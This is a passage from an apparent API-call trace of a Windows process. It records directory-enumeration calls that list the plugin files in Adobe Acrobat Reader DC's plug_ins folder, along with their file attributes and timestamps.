(in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropboxStorage.api", cAlternateFileName="DROPBO~1.API")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pi_brokers", cAlternateFileName="PI_BRO~1")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1 [0089.885] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageConnectors.api", cAlternateFileName="STORAG~1.API")) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0089.886] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.886] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0089.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0089.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0089.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0089.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins", lpFilePart=0x0) returned 0x3e [0089.887] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.888] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.888] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0089.888] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0089.888] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropboxStorage.api", cAlternateFileName="DROPBO~1.API")) returned 1 [0089.889] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe02be995, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1f463, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xb263, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.api", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe03efc54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x280063, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.api", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0415ea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1aa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.api", cAlternateFileName="")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa4033a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x26fa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.api", cAlternateFileName="MAKEAC~1.API")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0089.890] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pi_brokers", cAlternateFileName="PI_BRO~1")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1 [0089.891] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, 